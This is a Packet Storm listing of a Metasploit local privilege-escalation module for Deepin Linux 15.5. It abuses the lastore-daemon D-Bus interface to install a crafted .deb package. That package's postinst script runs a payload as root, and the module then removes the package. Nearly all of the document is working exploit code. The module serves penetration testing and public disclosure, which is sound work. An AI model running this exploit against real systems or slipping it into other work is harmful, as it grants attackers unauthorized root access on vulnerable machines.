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lastore-daemon D-Bus Privilege Escalation

🗓️ 21 Apr 2018 00:00:00Reported by Brendan ColesType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 57 Views

This module attempts to gain root privileges on Deepin Linux systems by using lastore-daemon to install a package. The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any user in the sudo group to install arbitrary system packages without providing a password, resulting in code execution as root. By default, the first user created on the system is a member of the sudo group. This module has been tested successfully with lastore-daemon version 0.9.53-1 on Deepin Linux 15.5 (x64)

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'lastore-daemon D-Bus Privilege Escalation',  
'Description' => %q{  
This module attempts to gain root privileges on Deepin Linux systems  
by using lastore-daemon to install a package.  
  
The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any  
user in the sudo group to install arbitrary system packages without  
providing a password, resulting in code execution as root. By default,  
the first user created on the system is a member of the sudo group.  
  
This module has been tested successfully with lastore-daemon version  
0.9.53-1 on Deepin Linux 15.5 (x64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
"King's Way", # Discovery and exploit  
'Brendan Coles' # Metasploit  
],  
'DisclosureDate' => 'Feb 2 2016',  
'References' =>  
[  
[ 'EDB', '39433' ],  
[ 'URL', 'https://gist.github.com/bcoles/02aa274ce32dc350e34b6d4d1ad0e0e8' ],  
],  
'Platform' => 'linux',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'DefaultTarget' => 0))  
register_options([  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
])  
end  
  
def base_dir  
datastore['WritableDir']  
end  
  
def mkdir(path)  
vprint_status "Creating '#{path}' directory"  
cmd_exec "mkdir -p #{path}"  
register_dir_for_cleanup path  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
cmd_exec "chmod +x '#{path}'"  
end  
  
def command_exists?(cmd)  
cmd_exec("command -v #{cmd} && echo true").include? 'true'  
end  
  
def dbus_priv?  
res = install_package '', ''  
(res.include? 'DBus.Error.AccessDenied') ? false : true  
end  
  
def install_package(name, path)  
dbus_send dest: 'com.deepin.lastore',  
type: 'method_call',  
path: '/com/deepin/lastore',  
interface: 'com.deepin.lastore.Manager.InstallPackage',  
contents: "string:'#{name}' string:'#{path}'"  
end  
  
def remove_package(name)  
dbus_send dest: 'com.deepin.lastore',  
type: 'method_call',  
path: '/com/deepin/lastore',  
interface: 'com.deepin.lastore.Manager.RemovePackage',  
contents: "string:' ' string:'#{name}'"  
end  
  
def dbus_send(dest:, type:, path:, interface:, contents:)  
cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"  
end  
  
def check  
%w(lastore-daemon dpkg-deb dbus-send).each do |cmd|  
unless command_exists? cmd  
vprint_error "#{cmd} is not installed. Exploitation will fail."  
return CheckCode::Safe  
end  
vprint_good "#{cmd} is installed"  
end  
  
unless dbus_priv?  
vprint_error 'User is not permitted to install packages. Exploitation will fail.'  
return CheckCode::Safe  
end  
vprint_good 'User is permitted to install packages'  
  
CheckCode::Appears  
end  
  
def exploit  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
if check != CheckCode::Appears  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
print_status 'Building package...'  
  
payload_name = ".#{rand_text_alphanumeric rand(10..15)}"  
payload_path = "#{base_dir}/#{payload_name}"  
pkg_name = rand_text_alphanumeric rand(10..15)  
pkg_path = "#{base_dir}/.#{pkg_name}"  
  
mkdir "#{pkg_path}/DEBIAN"  
pkg = "Package: #{pkg_name}\n"  
pkg << "Version: 0.1\n"  
pkg << "Maintainer: #{pkg_name}\n"  
pkg << "Architecture: all\n"  
pkg << "Description: #{pkg_name}\n"  
upload "#{pkg_path}/DEBIAN/control", pkg  
upload_and_chmodx "#{pkg_path}/DEBIAN/postinst", "#!/bin/sh\n#{payload_path} &"  
  
cmd_exec "dpkg-deb --build '#{pkg_path}'"  
  
unless file_exist? "#{pkg_path}.deb"  
fail_with Failure::Unknown, 'Building package failed'  
end  
  
print_status 'Uploading payload...'  
upload_and_chmodx payload_path, generate_payload_exe  
  
print_status 'Installing package...'  
res = install_package pkg_name, "#{pkg_path}.deb"  
vprint_line res  
  
unless res.include? 'object path'  
fail_with Failure::Unknown, 'Package installation failed. Check /var/log/lastore/daemon.log'  
end  
  
Rex.sleep 15  
  
print_status 'Removing package...'  
res = remove_package pkg_name.downcase  
vprint_line res  
  
unless res.include? 'object path'  
print_warning 'Package removal failed. Check /var/log/lastore/daemon.log'  
end  
end  
end  
`

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